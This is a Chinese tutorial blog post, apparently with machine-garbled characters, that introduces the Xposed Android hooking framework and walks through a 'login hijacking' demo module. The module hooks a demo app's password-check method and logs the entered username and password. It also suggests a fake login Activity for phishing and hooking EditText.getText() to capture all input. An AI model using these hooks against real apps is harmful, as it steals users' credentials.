Android Hook神器:XPosed入门与登录劫持演示

前段时间写了一篇关于Cydia Substrate广告注入的文章,你们都直呼过瘾。可是,真正了解这一方面的同窗应该知道,其实还有一个比Cydia Substrate更出名的工具:XPosed。java

    

不是由于Xposed比Cydia Substrate作的多好,而是Xposed是完全开源的。今天,就向你们简单地介绍一下Xposed,并书写一个简单的登录劫持Demo,让你们快速地入门学习Xposed。android

Xposed

Xposed框架是一款能够在不修改APK的状况下影响程序运行(修改系统)的框架服务,经过替换/system/bin/app_process程序控制zygote进程,使得app_process在启动过程当中会加载XposedBridge.jar这个jar包,从而完成对Zygote进程及其建立的Dalvik虚拟机的劫持。git

基于Xposed框架能够制做出许多功能强大的模块,且在功能不冲突的状况下同时运做。此外,Xposed框架中的每个库还能够单独下载使用,如Per APP Setting(为每一个应用设置单独的dpi或修改权限)、Cydia、XPrivacy(防止隐私泄露)、BootManager(开启自启动程序管理应用)对原生Launcher替换图标等应用或功能均基于此框架。    github

官网地址:         http://repo.xposed.info/         源码地址:         https://github.com/rovo89    

Xposed框架是基于一个Android的本地服务应用XposedInstaller,与一个提供API 的jar文件来完成的。因此,安装使用Xposed框架咱们须要完成如下几个步骤:    api

安装本地服务XposedInstaller

须要安装XposedInstall.apk本地服务应用,咱们可以在其官网的framework栏目中找到,下载并安装。地址为:         http://repo.xposed.info/module/de.robv.android.xposed.installer服务器

安装好后进入XposedInstaller应用程序,会出现须要激活框架的界面,以下图所示。这里咱们点击“安装/更新”就能完成框架的激活了。部分设备若是不支持直接写入的话,能够选择“安装方式”,修改成在Recovery模式下自动安装便可。网络

        

由于安装时会存在须要Root权限,安装后会启动Xposed的app_process,因此安装过程当中会存在设备屡次从新启动。app

TIPS:因为国内的部分ROM对Xposed不兼容,若是安装Xposed不成功的话,强制使用Recovery写入可能会形成设备反复重启而没法正常启动。

下载使用API库

其API库XposedBridgeApi-.jar(version是XposedAPI的版本号,如咱们这里是XposedBridgeApi-54.jar)文件,咱们可以在Xposed的官方支持xda论坛找到,其地址为:                 http://forum.xda-developers.com/xposed/xposed-api-changelog-developer-news-t2714067框架

下载完毕后咱们须要将Xposed Library复制到lib目录(注意是lib目录,不是Android提供的libs目录),而后将这个jar包添加到Build                PATH中。ide

                

若是直接将jar包放置到了libs目录下,极可能会产生错误:                 “IllegalAccessError: Class ref in pre-verified class resolved to unexpected                  implementation”                     估计Xposed做者在其框架内部也引用了BridgeApi,这样操做避免重复引用。

实战,登录劫持(原理)

以前跟你们也说过使用CydiaSubstrate进行广告注入,不少网友问我,除了简单地注入一个广告,还能作什么吗?

登录劫持!!!

你没听错,今天咱们这里就简单地演示一下,如何对一个应用程序的登录功能进行劫持,并把帐号密码打印出来。

如咱们常见的登录劫持,就是使用了Hook技术来完成的。那么这个登录劫持是如何完成的呢?下面咱们就具体来看看一个在开发中常见到的登录例子。首先,咱们看看一个常见的登录界面是什么样子的。

                

其对应的登录流程代码以下所示:

 

  1. // 登录按钮的onClick事件  
  2. mLoginButton.setOnClickListener(new OnClickListener() {  
  3.   
  4. @Override  
  5. public void onClick(View v) {  
  6.     // 获取用户名  
  7.         String username = mUserEditText.getText() + "";  
  8.         // 获取密码  
  9.         String password = mPasswordEditText.getText() + "";  
  10.   
  11.         if (isCorrectInfo(username, password)) {  
  12.             Toast.makeText(MainActivity.this, "登录成功!", Toast.LENGTH_LONG).show();  
  13.         } else {  
  14.             Toast.makeText(MainActivity.this, "登录失败!", Toast.LENGTH_LONG).show();  
  15.         }  
  16.     }  
  17. });  
// 登录按钮的onClick事件
mLoginButton.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
    // 获取用户名
        String username = mUserEditText.getText() + "";
        // 获取密码
        String password = mPasswordEditText.getText() + "";

        if (isCorrectInfo(username, password)) {
            Toast.makeText(MainActivity.this, "登录成功!", Toast.LENGTH_LONG).show();
        } else {
            Toast.makeText(MainActivity.this, "登录失败!", Toast.LENGTH_LONG).show();
        }
    }
});

 

咱们会发现,登录界面上面的用户信息都是存储在EditText控件上,而后经过用户手动点击“登录”按钮才会将上面的信息发送至服务器端,去验证帐号与密码是否正确。这样就很简单了,黑客们只须要找到开发者在使用EditText控件的getText方法后进行网络验证的方法,Hook该方法,就能劫持到用户的帐户与密码劫了。

TIPS:固然,咱们也能够仿照上以前CydiaSubstrate的广告注入例子,作一个如出一辙的Activity,在劫持原Activity优先弹出来,达到欺骗用户获取密码的目的。

具体流程以下:

                        

实战,登录劫持(编码)

明白了原理下面咱们就实际的操做一次,这里咱们选择使用Xposed框架来操做。使用Xposed进行Hook操做主要就是使用到了Xposed中的两个比较重要的方法,handleLoadPackage获取包加载时候的回调并拿到其对应的classLoader;findAndHookMethod对指定类的方法进行Hook。它们的详细定义以下所示:

 

  1. /** 
  2.      * 包加载时候的回调 
  3.      */  
  4. public void handleLoadPackage(final LoadPackageParam lpparam)  
  5. /** 
  6.      * Xposed提供的Hook方法 
  7.      *  
  8.      * @param className 待Hook的Class 
  9.      * @param classLoader classLoader 
  10.      * @param methodName 待Hook的Method 
  11.      * @param parameterTypesAndCallback hook回调 
  12.      * @return  
  13.      */  
  14. Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback)   
/**
     * 包加载时候的回调
     */
public void handleLoadPackage(final LoadPackageParam lpparam)
/**
     * Xposed提供的Hook方法
     * 
     * @param className 待Hook的Class
     * @param classLoader classLoader
     * @param methodName 待Hook的Method
     * @param parameterTypesAndCallback hook回调
     * @return 
     */
Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback) 

 

固然,咱们使用Xposed进行Hook也分为以下几个步骤:

1. 在AndroidManifest.xml文件中配置插件名称与Api版本号                    

 

  1. <application  
  2.         android:allowBackup="true"  
  3.         android:icon="@drawable/ic_launcher"  
  4.         android:label="@string/app_name"  
  5.         android:theme="@style/AppTheme" >  
  6.   
  7.         <meta-data  
  8.             android:name="xposedmodule"  
  9.             android:value="true" />  
  10.         <!-- 模块描述 -->  
  11.         <meta-data  
  12.             android:name="xposeddescription"  
  13.             android:value="一个登录劫持的样例" />  
  14.         <!-- 最低版本号 -->  
  15.         <meta-data  
  16.             android:name="xposedminversion"  
  17.             android:value="30" />  
  18. </application>  
<application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >

        <meta-data
            android:name="xposedmodule"
            android:value="true" />
        <!-- 模块描述 -->
        <meta-data
            android:name="xposeddescription"
            android:value="一个登录劫持的样例" />
        <!-- 最低版本号 -->
        <meta-data
            android:name="xposedminversion"
            android:value="30" />
</application>

 

2. 新建一个入口类并继承并实现IXposedHookLoadPackage接口                    

以下操做,咱们新建了一个com.example.loginhook.Main的类,并实现IXposedHookLoadPackage接口中的handleLoadPackage方法,将非com.example.login包名的应用过滤掉,即咱们只操做包名为com.example.login的应用。以下所示:

 

  1. public class Main implements IXposedHookLoadPackage {  
  2.   
  3.     /** 
  4.      * 包加载时候的回调 
  5.      */  
  6.     public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {  
  7.         // 将包名不是 com.example.login 的应用剔除掉  
  8.         if (!lpparam.packageName.equals("com.example.login"))  
  9.             return;  
  10.         XposedBridge.log("Loaded app: " + lpparam.packageName);  
  11.     }  
  12. }  
public class Main implements IXposedHookLoadPackage {

    /**
     * 包加载时候的回调
     */
    public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {
        // 将包名不是 com.example.login 的应用剔除掉
        if (!lpparam.packageName.equals("com.example.login"))
            return;
        XposedBridge.log("Loaded app: " + lpparam.packageName);
    }
}

 

3. 声明主入口路径                    

须要在assets文件夹中新建一个xposed_init的文件,并在其中声明主入口类。如这里咱们的主入口类为com.example.loginhook.Main。

                        

4. 使用findAndHookMethod方法Hook劫持登录信息                        

这是最重要的一步,咱们以前所分析的都须要到这一步进行操做。如咱们以前所分析的登录程序,咱们须要劫持,就是须要Hook其com.example.login.MainActivity中的isCorrectInfo方法。咱们使用Xposed提供的findAndHookMethod直接进行MethodHook操做(与Cydia很相似)。在其Hook回调中使用XposedBridge.log方法,将登录的帐号密码信息打印至Xposed的日志中。具体操做以下所示:

 

  1. import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;  
  2. public class Main implements IXposedHookLoadPackage {  
  3.   
  4.     /** 
  5.      * 包加载时候的回调 
  6.      */  
  7.     public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {  
  8.   
  9.         // 将包名不是 com.example.login 的应用剔除掉  
  10.         if (!lpparam.packageName.equals("com.example.login"))  
  11.             return;  
  12.         XposedBridge.log("Loaded app: " + lpparam.packageName);  
  13.   
  14.         // Hook MainActivity中的isCorrectInfo(String,String)方法  
  15.         findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class,  
  16.                 String.class, new XC_MethodHook() {  
  17.   
  18.                     @Override  
  19.                     protected void beforeHookedMethod(MethodHookParam param) throws Throwable {  
  20.                         XposedBridge.log("开始劫持了~");  
  21.                         XposedBridge.log("参数1 = " + param.args[0]);  
  22.                         XposedBridge.log("参数2 = " + param.args[1]);  
  23.                     }  
  24.   
  25.                     @Override  
  26.                     protected void afterHookedMethod(MethodHookParam param) throws Throwable {  
  27.                         XposedBridge.log("劫持结束了~");  
  28.                         XposedBridge.log("参数1 = " + param.args[0]);  
  29.                         XposedBridge.log("参数2 = " + param.args[1]);  
  30.   
  31.                     }  
  32.                 });  
  33.     }  
  34. }  
import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;
public class Main implements IXposedHookLoadPackage {

    /**
     * 包加载时候的回调
     */
    public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {

        // 将包名不是 com.example.login 的应用剔除掉
        if (!lpparam.packageName.equals("com.example.login"))
            return;
        XposedBridge.log("Loaded app: " + lpparam.packageName);

        // Hook MainActivity中的isCorrectInfo(String,String)方法
        findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class,
                String.class, new XC_MethodHook() {

                    @Override
                    protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
                        XposedBridge.log("开始劫持了~");
                        XposedBridge.log("参数1 = " + param.args[0]);
                        XposedBridge.log("参数2 = " + param.args[1]);
                    }

                    @Override
                    protected void afterHookedMethod(MethodHookParam param) throws Throwable {
                        XposedBridge.log("劫持结束了~");
                        XposedBridge.log("参数1 = " + param.args[0]);
                        XposedBridge.log("参数2 = " + param.args[1]);

                    }
                });
    }
}

 

5. 在XposedInstaller中启动咱们自定义的模块                        

编译后安装在Android设备上的模块应用程序不会当即的生效,咱们须要在XpasedInstaller模块选项中勾选待启用的模块才能让其正常的生效。如:

                            

6. 重启验证                            

重启Android设备,进入XposedInstaller查看日志模块,由于咱们以前使用的是XposedBridge.log方法打印log,因此log都会显示在此处。咱们发现咱们须要劫持的帐号密码都显示再来此处。

                                

TIPS:这里咱们是经过逆向分析该登录页面的登陆判断调用函数来完成Hook与劫持工做的。有些读者应该想出来了,咱们能不能直接Hook系统中提供给咱们的控件EditText(输入框控件)中的getText()方法进行Hook呢?这样咱们就可以对系统中全部的输入进行监控劫持了。这里留给你们一个思考,感兴趣的读者能够尝试一下。
相关文章
相关标签/搜索